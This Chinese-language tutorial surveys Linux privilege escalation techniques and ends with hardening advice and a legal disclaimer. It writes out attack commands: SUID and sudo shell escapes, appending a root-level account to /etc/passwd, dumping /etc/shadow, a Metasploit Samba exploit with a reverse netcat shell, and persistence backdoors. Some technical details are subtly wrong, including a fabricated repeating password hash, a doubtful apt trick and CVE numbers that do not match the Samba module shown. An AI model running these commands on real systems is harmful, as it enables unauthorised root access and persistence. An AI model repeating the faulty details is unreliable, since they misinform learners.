Linux系统提权方式全面总结:从基础到高级攻防技术

简介: 本文全面总结Linux系统提权技术,涵盖权限体系、配置错误、漏洞利用、密码攻击等方法,帮助安全研究人员掌握攻防技术,提升系统防护能力。

Linux系统提权方式全面总结:从基础到高级攻防技术

作为一名网络安全研究者,了解权限提升技术对于防御恶意攻击至关重要。本文将全面总结Linux系统中的各种提权方法。

1 Linux权限体系核心概念

在深入探讨提权技术之前,需要理解Linux权限体系的基本原理。Linux系统采用用户和组的权限管理模式,每个文件和进程都有特定的权限设置。

用户和组管理是Linux权限体系的基础。每个用户属于一个主组和可以属于多个附加组。root组是拥有系统最高权限的特殊组,将用户添加到root组可以授予其管理员权限:sudo usermod -aG root username

文件权限包括读(r)、写(w)和执行(x)权限,分别对应数字4、2和1。特殊权限位包括:

  • SUID(Set User ID):当二进制文件设置SUID位时,该程序会以文件所有者的权限运行,而不是执行者的权限。如果所有者是root,则普通用户执行时也会以root权限运行
  • SGID(Set Group ID):类似于SUID,但以文件所属组的权限运行
  • Sticky Bit:常用于目录,确保只有文件所有者可以删除其中的文件

2 系统配置错误提权

2.1 SUID/SGID二进制文件滥用

SUID二进制文件是常见的提权向量。 攻击者会寻找系统中配置了SUID位的可执行文件,特别是那些可能被利用来执行任意命令或获取shell的文件。

查找SUID文件的方法:

find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

常见的危险SUID程序包括:

  • bashshzsh等shell
  • catmoreless等文件查看工具
  • vimnano等编辑器
  • findlocate等搜索工具
  • cpmv等文件操作命令

利用示例:如果find命令具有SUID位,可以通过它执行命令:

find /tmp -name test -exec /bin/sh \;

2.2 Sudo权限滥用

sudo机制允许授权用户以root权限执行特定命令。 通过配置/etc/sudoers文件,系统管理员可以授予用户或组有限的root权限。

查看当前用户的sudo权限:

sudo -l

如果用户被授予以下权限,可能被利用来提权:

  • 能够以root身份运行任意命令:ALL=(ALL) ALL
  • 能够运行不需要密码的命令:NOPASSWD: ...
  • 能够运行有漏洞的应用程序(如编辑器、包管理器等)

常见sudo提权技术

  1. 滥用编辑器:如果用户可以sudo方式运行vim、nano等编辑器

    sudo vim -c '!sh'
    
  2. 滥用包管理器:如果可以运行apt、yum等

    sudo apt update && sudo apt install -f /dev/stdin
    
  3. 滥用任意命令执行:如果可以运行任意命令,直接获取root shell

    sudo sh
    

2.3 环境变量滥用

PATH环境变量指定了Shell查找命令的目录顺序。如果用户可以在当前目录创建文件,并能够以root权限执行某些程序,可能通过PATH manipulation进行提权。

利用方法

  1. 编写一个与系统命令同名的恶意程序(如ls、ps等)
  2. 将当前目录添加到PATH环境变量前面:export PATH=.:$PATH
  3. 当特权程序执行系统命令时,会优先执行恶意版本

2.4 可写文件滥用

系统中可能存在一些关键文件或目录权限设置不当,允许普通用户修改这些文件,从而实现提权。

常见的可写文件提权点

  • 系统启动脚本:/etc/init.d、/etc/rc.local、/etc/cron*
  • 系统配置文件:/etc/passwd、/etc/sudoers、/etc/shadow
  • 用户文件:~/.ssh/authorized_keys、~/.profile
  • 临时目录:/tmp、/var/tmp(特别是设置了sticky位时)

/etc/passwd写权限利用:如果/etc/passwd文件可写,可以添加一个具有root权限的用户:

# 生成密码(明文字符串"password"加密后的结果)
openssl passwd -1 -salt abc password
# 在/etc/passwd中添加一行
echo 'root2:$1$abc$8R4H6h6J4ZJ2YJ2YJ2YJ2.:0:0:root:/root:/bin/bash' >> /etc/passwd

3 漏洞利用提权

3.1 内核漏洞提权

内核漏洞提权是利用Linux内核中的安全漏洞来获取root权限。 这种方法通常需要研究和利用特定的CVE漏洞

内核提权基本步骤

  1. 信息收集:确定系统内核版本和架构

    uname -a
    cat /proc/version
    cat /etc/*release
    
  2. 漏洞研究:根据内核版本寻找已知漏洞

  3. 获取 exploit代码:从ExploitDB、GitHub等来源获取对应漏洞的利用代码

  4. 编译和执行:在目标系统上编译并运行exploit代码

历史上重要的内核漏洞

  • Dirty Pipe (CVE-2022-0847):Linux内核5.8及以上版本的漏洞
  • Dirty COW (CVE-2016-5195):内存竞争条件漏洞,影响多年来的Linux版本
  • BPF提权漏洞 (CVE-2022-23222):影响Linux内核的eBPF子系统

3.2 服务漏洞提权

系统服务中的漏洞也可以被用来提权。 常见的服务漏洞包括:

  • Samba服务漏洞:低版本Samba存在远程代码执行漏洞
  • SSH服务漏洞:虽然现在较少,但历史上有过多次安全漏洞
  • Web服务漏洞:Apache、Nginx等Web服务器中的漏洞
  • 数据库服务漏洞:MySQL、PostgreSQL等数据库系统的漏洞

服务漏洞利用示例:利用Samba旧版本漏洞(如CVE-2015-0240、CVE-2017-7494)获取系统访问权限:

use exploit/multi/samba/usermap_script
set rhosts <target_ip>
set payload cmd/unix/reverse_netcat
exploit

3.3 应用漏洞提权

用户空间应用程序中的漏洞也可能导致权限提升。

  • sudo漏洞:如CVE-2021-3156(Baron Samedit)
  • polkit漏洞:如CVE-2021-3560
  • 容器逃逸:在容器化环境中,应用程序漏洞可能导致容器逃逸

4 密码攻击提权

4.1 密码破解

密码破解是获取系统访问权限的传统方法。 包括:

  • 暴力破解:尝试所有可能的密码组合
  • 字典攻击:使用常见密码字典进行尝试
  • 彩虹表攻击:使用预先计算的哈希值数据库

获取密码哈希的方法

# 从/etc/shadow文件获取
cat /etc/shadow

# 从/etc/passwd文件获取(旧系统)
cat /etc/passwd

# 从内存中获取
grep -r \$[0-9]\$ /proc/*/cwd 2>/dev/null

密码破解工具

  • John the Ripper:多功能密码破解工具
  • Hashcat:支持GPU加速的密码恢复工具
  • Hydra:网络登录破解工具

4.2 密码嗅探与中间人攻击

在网络环境中,可以通过嗅探网络流量获取认证凭证:

  • ARP欺骗:将攻击者机器作为中间人
  • 流量嗅探:使用工具如Wireshark、tcpdump捕获网络数据包
  • 会话劫持:窃取已认证的会话令牌或cookie

5 后期维护与持久化

一旦获得访问权限,攻击者通常会建立持久化机制以便再次访问:

  • 添加用户:在/etc/passwd中添加后门账户
  • SSH密钥后门:在~/.ssh/authorized_keys中添加攻击者的公钥
  • Cron作业:添加定期执行的后门脚本
  • SUID后门:创建具有SUID位的自定义后门程序
  • 共享库注入:修改共享库以劫持函数调用
  • 系统服务后门:创建在系统启动时运行的后门服务

6 提权辅助工具

Several tools can help automate the process of privilege escalation on Linux systems:

工具名称 语言 主要功能 获取地址
LinEnum Bash 系统信息枚举、权限提升检查 GitHub
Linuxprivchecker Python 系统配置枚举、权限检查 GitHub
Linux Exploit Suggester Perl 根据内核版本推荐可用exploit GitHub
Unix-privesc-check Shell 检查文件权限配置错误 GitHub
SUID3NUM Python 检查SUID/SGID文件 GitHub

使用示例:运行LinEnum脚本

# 下载并执行LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

7 防护措施与加固建议

了解了提权技术后,系统管理员可以采取以下防护措施:

7.1 账户安全加固

  • 强密码策略:强制使用长度至少8位,包含大写字母、小写字母、数字和特殊字符的复杂密码

    authconfig --passminlen=8 --update
    authconfig --passminclass=4 --update
    
  • 密码生存周期:限制密码的最长使用期限为90天,最短使用期限为3天,到期前15天发出警告

    # 编辑/etc/login.defs
    PASS_MAX_DAYS 90
    PASS_MIN_DAYS 3
    PASS_WARN_AGE 15
    
  • 登录失败锁定:用户远程登录验证连续超过5次失败,锁定账号30分钟

    # 在/etc/pam.d/sshd中添加
    auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root root_unlock_time=1800
    
  • 处理弱口令账户:定期检查并强制修改弱密码

  • 锁定无关账户:锁定与系统运行维护无关的账户

    usermod -L test_user
    

7.2 服务与进程加固

  • 更改SSH服务端口:将默认的22端口改为非常用端口

    # 编辑/etc/ssh/sshd_config
    Port 2222
    
  • 定期更新系统:及时安装安全补丁,修复已知漏洞

  • 最小化服务:关闭不必要的网络服务,减少攻击面

  • 使用防火墙:配置iptables或firewalld,只开放必要的端口

7.3 文件系统加固

  • 严格控制SUID/SGID文件:定期检查并移除不必要的SUID/SGID位

    # 查找所有SUID文件
    find / -perm -u=s -type f 2>/dev/null
    
    # 查找所有SGID文件
    find / -perm -g=s -type f 2>/dev/null
    
    # 移除不必要的SUID位
    chmod u-s /path/to/file
    
  • 严格控制文件权限:遵循最小权限原则,特别是对系统关键文件

  • 使用扩展属性:为重要文件添加不可修改属性(chattr +i)

7.4 监控与审计

  • 启用系统日志:定期检查系统日志,发现可疑活动
  • 使用入侵检测系统:部署AIDE、Tripwire等文件完整性检查工具
  • 监控进程活动:使用ps、top、htop等工具监控系统进程
  • 审计用户行为:使用auditd监控用户操作和文件访问

8 结语

Linux系统提权技术涉及系统配置错误、漏洞利用、密码攻击等多种方法。作为一名安全研究人员,了解这些技术有助于更好地防御恶意攻击。本文介绍的技术应仅用于合法授权的安全测试和教育目的

防御方面,系统管理员应遵循最小权限原则,定期更新系统,实施严格的安全策略,并监控系统活动,以及时发现和阻止潜在的提权尝试。

网络安全是一场持续的攻防战,只有深入了解攻击者的技术和工具,才能构建更强大的防御体系。希望本文对您的网络安全研究和实践有所帮助。


免责声明:本文所述技术仅用于教育目的和安全研究。未经明确授权,在任何系统上使用这些技术可能是非法的。请始终确保您拥有适当的权限后再进行安全测试。

相关文章
|
1月前
|
Ubuntu Linux Anolis
Linux系统禁用swap
本文介绍了在新版本Linux系统(如Ubuntu 20.04+、CentOS Stream、openEuler等)中禁用swap的两种方法。传统通过注释/etc/fstab中swap行的方式已失效,现需使用systemd管理swap.target服务或在/etc/fstab中添加noauto参数实现禁用。方法1通过屏蔽swap.target适用于新版系统,方法2通过修改fstab挂载选项更通用,兼容所有系统。
125 3
Linux系统禁用swap
|
1月前
|
Linux
Linux系统修改网卡名为eth0、eth1
在Linux系统中,可通过修改GRUB配置和创建Udev规则或使用systemd链接文件,将网卡名改为`eth0`、`eth1`等传统命名方式,适用于多种发行版并支持多网卡配置。
163 3
|
2月前
|
Ubuntu Linux
计算机基础知识:linux系统怎么安装?
在虚拟机软件中创建一个新的虚拟机,并选择相应操作系统类型和硬盘空间大小等参数。将下载的 ISO 镜像文件加载到虚拟机中。启动虚拟机,进入安装界面,并按照步骤进行安装。安装完成后,可以在虚拟机中使用 Linux 系统。
|
2月前
|
存储 Ubuntu Linux
「正点原子Linux连载」第二章Ubuntu系统入门
在图2.8.2.4中,我们使用命令umount卸载了U盘,卸载以后当我们再去访问文件夹/mnt/tmp的时候发现里面没有任何文件了,说明我们卸载成功了。
|
Ubuntu Linux 网络安全
Linux系统初始化脚本
一款支持Rocky、CentOS、Ubuntu、Debian、openEuler等主流Linux发行版的系统初始化Shell脚本,涵盖网络配置、主机名设置、镜像源更换、安全加固等多项功能,适配单/双网卡环境,支持UEFI引导,提供多版本下载与持续更新。
136 0
Linux系统初始化脚本
|
2月前
|
运维 Linux 开发者
Linux系统中使用Python的ping3库进行网络连通性测试
以上步骤展示了如何利用 Python 的 `ping3` 库来检测网络连通性,并且提供了基本错误处理方法以确保程序能够优雅地处理各种意外情形。通过简洁明快、易读易懂、实操性强等特点使得该方法非常适合开发者或系统管理员快速集成至自动化工具链之内进行日常运维任务之需求满足。
147 18
|
1月前
|
监控 安全 Linux
Linux系统提权之计划任务(Cron Jobs)提权
在Linux系统中,计划任务(Cron Jobs)常用于定时执行脚本或命令。若配置不当,攻击者可利用其提权至root权限。常见漏洞包括可写的Cron脚本、目录、通配符注入及PATH变量劫持。攻击者通过修改脚本、创建恶意任务或注入命令实现提权。系统管理员应遵循最小权限原则、使用绝对路径、避免通配符、设置安全PATH并定期审计,以防范此类攻击。
590 1
|
2月前
|
缓存 监控 Linux
Linux系统清理缓存(buff/cache)的有效方法。
总结而言,在大多数情形下你不必担心Linux中buffer与cache占用过多内存在影响到其他程序运行;因为当程序请求更多内存在没有足够可用资源时,Linux会自行调整其占有量。只有当你明确知道当前环境与需求并希望立即回收这部分资源给即将运行重负载任务之前才考虑上述方法去主动干预。
907 10
|
2月前
|
安全 Linux 数据安全/隐私保护
为Linux系统的普通账户授予sudo访问权限的过程
完成上述步骤后,你提升的用户就能够使用 `sudo`命令来执行管理员级别的操作,而无需切换到root用户。这是一种更加安全和便捷的权限管理方式,因为它能够留下完整的权限使用记录,并以最小权限的方式工作。需要注意的是,随意授予sudo权限可能会使系统暴露在风险之中,尤其是在用户不了解其所执行命令可能带来的后果的情况下。所以在配置sudo权限时,必须谨慎行事。
377 0
|
2月前
|
Ubuntu Linux 开发者
国产 Linux 发行版再添新成员,CutefishOS 系统简单体验
当然,系统生态构建过程并不简单,不过为了帮助国产操作系统优化生态圈,部分企业也开始用国产操作系统替代 Windows,我们相信肯定会有越来越多的精品软件登录 Linux 平台。
144 0